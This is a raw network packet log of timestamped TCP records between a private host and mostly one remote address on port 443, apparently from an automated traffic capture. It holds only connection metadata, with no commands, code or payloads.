Oct 8, 2024 03:24:10.335345030 CEST	443	49720	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:10.335356951 CEST	49720	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:10.335362911 CEST	443	49720	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:10.359453917 CEST	443	49724	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:10.379291058 CEST	49724	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:10.379326105 CEST	443	49724	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:10.379802942 CEST	49724	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:10.379808903 CEST	443	49724	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:10.428843021 CEST	443	49722	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:10.428903103 CEST	443	49722	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:10.429054022 CEST	49722	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:10.450278044 CEST	443	49723	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:10.450360060 CEST	443	49723	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:10.451471090 CEST	49723	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:10.483100891 CEST	443	49724	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:10.483156919 CEST	443	49724	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:10.483236074 CEST	49724	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:10.496768951 CEST	49726	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:10.496819973 CEST	443	49726	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:10.496906996 CEST	49726	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:10.617486954 CEST	49722	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:10.617516041 CEST	443	49722	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:10.617552996 CEST	49722	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:10.617559910 CEST	443	49722	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:10.619765043 CEST	49723	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:10.619793892 CEST	443	49723	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:10.619841099 CEST	49723	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:10.619847059 CEST	443	49723	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:10.622231007 CEST	49724	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:10.622260094 CEST	443	49724	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:10.622272015 CEST	49724	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:10.622277975 CEST	443	49724	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:10.623656988 CEST	49726	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:10.623677969 CEST	443	49726	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:10.680826902 CEST	49727	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:10.680856943 CEST	443	49727	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:10.681257963 CEST	49727	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:10.798574924 CEST	49727	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:10.798605919 CEST	443	49727	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:10.833409071 CEST	49728	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:10.833451033 CEST	443	49728	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:10.833672047 CEST	49728	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:10.834320068 CEST	49729	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:10.834358931 CEST	443	49729	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:10.834476948 CEST	49729	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:10.850126982 CEST	49728	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:10.850141048 CEST	443	49728	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:10.850332022 CEST	49729	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:10.850366116 CEST	443	49729	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:10.858999014 CEST	49730	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:10.859026909 CEST	443	49730	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:10.859412909 CEST	49730	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:10.859412909 CEST	49730	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:10.859435081 CEST	443	49730	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:11.225229025 CEST	49702	80	192.168.2.10	62.204.41.150
Oct 8, 2024 03:24:11.349502087 CEST	443	49726	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:11.349998951 CEST	49726	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:11.350032091 CEST	443	49726	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:11.351847887 CEST	49726	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:11.351861954 CEST	443	49726	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:11.458122015 CEST	443	49726	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:11.458188057 CEST	443	49726	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:11.458249092 CEST	49726	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:11.458540916 CEST	49726	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:11.458564043 CEST	443	49726	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:11.458573103 CEST	49726	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:11.458580017 CEST	443	49726	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:11.461432934 CEST	49732	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:11.461486101 CEST	443	49732	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:11.461555958 CEST	49732	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:11.461693048 CEST	49732	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:11.461710930 CEST	443	49732	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:11.464903116 CEST	443	49727	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:11.465306044 CEST	49727	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:11.465322971 CEST	443	49727	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:11.465766907 CEST	49727	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:11.465775013 CEST	443	49727	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:11.505443096 CEST	443	49729	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:11.506103039 CEST	49729	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:11.506117105 CEST	443	49729	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:11.506772995 CEST	49729	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:11.506782055 CEST	443	49729	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:11.527789116 CEST	443	49728	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:11.528304100 CEST	49728	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:11.528320074 CEST	443	49728	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:11.528788090 CEST	49728	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:11.528793097 CEST	443	49728	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:11.530106068 CEST	443	49730	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:11.530467033 CEST	49730	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:11.530483007 CEST	443	49730	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:11.530982018 CEST	49730	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:11.530988932 CEST	443	49730	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:11.565078974 CEST	443	49727	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:11.565148115 CEST	443	49727	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:11.565196991 CEST	49727	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:11.565372944 CEST	49727	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:11.565387964 CEST	443	49727	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:11.565403938 CEST	49727	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:11.565409899 CEST	443	49727	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:11.568146944 CEST	49733	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:11.568182945 CEST	443	49733	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:11.568254948 CEST	49733	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:11.568444014 CEST	49733	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:11.568456888 CEST	443	49733	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:11.612193108 CEST	443	49729	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:11.612298965 CEST	443	49729	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:11.612365007 CEST	49729	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:11.612534046 CEST	49729	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:11.612534046 CEST	49729	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:11.612551928 CEST	443	49729	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:11.612555981 CEST	443	49729	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:11.615202904 CEST	49734	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:11.615219116 CEST	443	49734	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:11.615284920 CEST	49734	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:11.615406990 CEST	49734	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:11.615413904 CEST	443	49734	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:11.635721922 CEST	443	49728	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:11.635775089 CEST	443	49728	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:11.635968924 CEST	49728	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:11.635968924 CEST	49728	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:11.636006117 CEST	49728	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:11.636013031 CEST	443	49728	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:11.636941910 CEST	443	49730	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:11.636992931 CEST	443	49730	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:11.637083054 CEST	49730	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:11.637253046 CEST	49730	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:11.637253046 CEST	49730	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:11.637274981 CEST	443	49730	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:11.637279034 CEST	443	49730	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:11.638521910 CEST	49735	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:11.638551950 CEST	443	49735	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:11.638617039 CEST	49735	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:11.638736010 CEST	49735	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:11.638752937 CEST	443	49735	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:11.639380932 CEST	49736	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:11.639431000 CEST	443	49736	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:11.639493942 CEST	49736	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:11.639604092 CEST	49736	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:11.639614105 CEST	443	49736	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:12.149710894 CEST	49674	443	192.168.2.10	173.222.162.55
Oct 8, 2024 03:24:12.149938107 CEST	49675	443	192.168.2.10	173.222.162.55
Oct 8, 2024 03:24:12.213202953 CEST	443	49733	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:12.213886976 CEST	49733	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:12.213900089 CEST	443	49733	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:12.214473963 CEST	49733	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:12.214478016 CEST	443	49733	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:12.275747061 CEST	443	49736	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:12.276202917 CEST	49736	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:12.276226997 CEST	443	49736	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:12.276633978 CEST	49736	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:12.276638985 CEST	443	49736	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:12.277091980 CEST	443	49734	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:12.277467966 CEST	49734	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:12.277487040 CEST	443	49734	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:12.277832031 CEST	49734	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:12.277836084 CEST	443	49734	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:12.313683987 CEST	443	49733	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:12.313752890 CEST	443	49733	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:12.313916922 CEST	49733	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:12.313940048 CEST	49733	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:12.313956022 CEST	443	49733	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:12.313965082 CEST	49733	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:12.313971043 CEST	443	49733	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:12.316668034 CEST	49737	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:12.316703081 CEST	443	49737	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:12.316854954 CEST	49737	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:12.316983938 CEST	49737	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:12.317004919 CEST	443	49737	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:12.338488102 CEST	443	49735	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:12.342695951 CEST	49735	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:12.342721939 CEST	443	49735	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:12.343142986 CEST	49735	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:12.343151093 CEST	443	49735	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:12.375998020 CEST	443	49736	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:12.376055002 CEST	443	49736	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:12.376255989 CEST	49736	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:12.376358032 CEST	49736	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:12.376373053 CEST	443	49736	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:12.376382113 CEST	49736	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:12.376388073 CEST	443	49736	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:12.379564047 CEST	49740	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:12.379590034 CEST	443	49740	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:12.379715919 CEST	49740	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:12.379851103 CEST	49740	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:12.379859924 CEST	443	49740	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:12.380456924 CEST	443	49734	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:12.380506992 CEST	443	49734	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:12.380610943 CEST	49734	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:12.380732059 CEST	49734	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:12.380743980 CEST	443	49734	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:12.380757093 CEST	49734	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:12.380762100 CEST	443	49734	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:12.383213997 CEST	49741	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:12.383244991 CEST	443	49741	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:12.383349895 CEST	49741	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:12.383553028 CEST	49741	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:12.383567095 CEST	443	49741	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:12.446234941 CEST	443	49735	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:12.446294069 CEST	443	49735	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:12.446342945 CEST	49735	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:12.446576118 CEST	49735	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:12.446588993 CEST	443	49735	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:12.446603060 CEST	49735	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:12.446609974 CEST	443	49735	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:12.449153900 CEST	49742	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:12.449182987 CEST	443	49742	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:12.449286938 CEST	49742	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:12.449486017 CEST	49742	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:12.449507952 CEST	443	49742	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:12.587198019 CEST	49677	443	192.168.2.10	20.42.65.85
Oct 8, 2024 03:24:12.952239990 CEST	443	49737	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:12.956645966 CEST	49737	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:12.956670046 CEST	443	49737	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:12.957093954 CEST	49737	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:12.957109928 CEST	443	49737	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:13.043519020 CEST	443	49741	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:13.043576002 CEST	443	49740	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:13.044126987 CEST	49741	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:13.044137001 CEST	443	49741	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:13.044631958 CEST	49741	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:13.044636965 CEST	443	49741	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:13.045130968 CEST	49740	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:13.045145988 CEST	443	49740	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:13.045696974 CEST	49740	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:13.045701981 CEST	443	49740	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:13.053065062 CEST	443	49737	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:13.053137064 CEST	443	49737	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:13.053318977 CEST	49737	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:13.053466082 CEST	49737	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:13.053466082 CEST	49737	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:13.053482056 CEST	443	49737	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:13.053491116 CEST	443	49737	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:13.062958956 CEST	49743	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:13.062999964 CEST	443	49743	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:13.063059092 CEST	49743	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:13.063249111 CEST	49743	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:13.063256025 CEST	443	49743	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:13.123720884 CEST	443	49742	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:13.130861998 CEST	49742	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:13.130873919 CEST	443	49742	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:13.131371021 CEST	49742	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:13.131387949 CEST	443	49742	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:13.147977114 CEST	443	49741	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:13.148129940 CEST	443	49741	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:13.148188114 CEST	49741	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:13.148407936 CEST	49741	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:13.148421049 CEST	443	49741	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:13.148435116 CEST	49741	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:13.148435116 CEST	443	49740	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:13.148439884 CEST	443	49741	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:13.148492098 CEST	443	49740	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:13.148627996 CEST	49740	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:13.148709059 CEST	49740	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:13.148722887 CEST	443	49740	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:13.148732901 CEST	49740	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:13.148739100 CEST	443	49740	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:13.152082920 CEST	49744	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:13.152137995 CEST	443	49744	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:13.152157068 CEST	49745	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:13.152184010 CEST	443	49745	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:13.152206898 CEST	49744	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:13.152240992 CEST	49745	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:13.152584076 CEST	49744	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:13.152601004 CEST	443	49744	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:13.152671099 CEST	49745	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:13.152684927 CEST	443	49745	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:13.226268053 CEST	443	49742	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:13.226325989 CEST	443	49742	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:13.226448059 CEST	49742	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:13.226629019 CEST	49742	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:13.226629019 CEST	49742	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:13.226639032 CEST	443	49742	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:13.226646900 CEST	443	49742	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:13.229418993 CEST	49746	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:13.229440928 CEST	443	49746	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:13.229656935 CEST	49746	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:13.229825020 CEST	49746	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:13.229835033 CEST	443	49746	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:13.748881102 CEST	443	49743	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:13.752705097 CEST	49743	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:13.752722979 CEST	443	49743	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:13.753299952 CEST	49743	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:13.753305912 CEST	443	49743	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:13.849091053 CEST	443	49743	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:13.849184036 CEST	443	49743	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:13.849320889 CEST	49743	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:13.849515915 CEST	49743	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:13.849536896 CEST	443	49743	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:13.849550009 CEST	49743	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:13.849556923 CEST	443	49743	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:13.852324009 CEST	49747	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:13.852370024 CEST	443	49747	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:13.852457047 CEST	49747	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:13.852621078 CEST	49747	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:13.852637053 CEST	443	49747	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:13.930994987 CEST	49671	443	192.168.2.10	204.79.197.203
Oct 8, 2024 03:24:13.934861898 CEST	443	49746	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:13.936686039 CEST	49746	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:13.936705112 CEST	443	49746	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:13.937159061 CEST	49746	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:13.937165976 CEST	443	49746	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:13.940282106 CEST	443	49744	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:13.944557905 CEST	49744	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:13.944581032 CEST	443	49744	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:13.944765091 CEST	443	49745	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:13.944967031 CEST	49744	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:13.944974899 CEST	443	49744	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:13.945171118 CEST	49745	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:13.945183992 CEST	443	49745	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:13.945522070 CEST	49745	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:13.945528030 CEST	443	49745	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:14.033900023 CEST	443	49746	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:14.033952951 CEST	443	49746	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:14.034194946 CEST	49746	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:14.034251928 CEST	49746	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:14.034266949 CEST	443	49746	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:14.034279108 CEST	49746	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:14.034284115 CEST	443	49746	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:14.036971092 CEST	49748	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:14.037015915 CEST	443	49748	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:14.037201881 CEST	49748	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:14.037369967 CEST	49748	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:14.037389040 CEST	443	49748	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:14.041974068 CEST	443	49744	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:14.042042971 CEST	443	49744	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:14.042180061 CEST	49744	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:14.042221069 CEST	49744	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:14.042236090 CEST	443	49744	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:14.042248011 CEST	49744	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:14.042253017 CEST	443	49744	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:14.044207096 CEST	49749	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:14.044249058 CEST	443	49749	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:14.044306993 CEST	49749	443	192.168.2.10	13.107.246.60
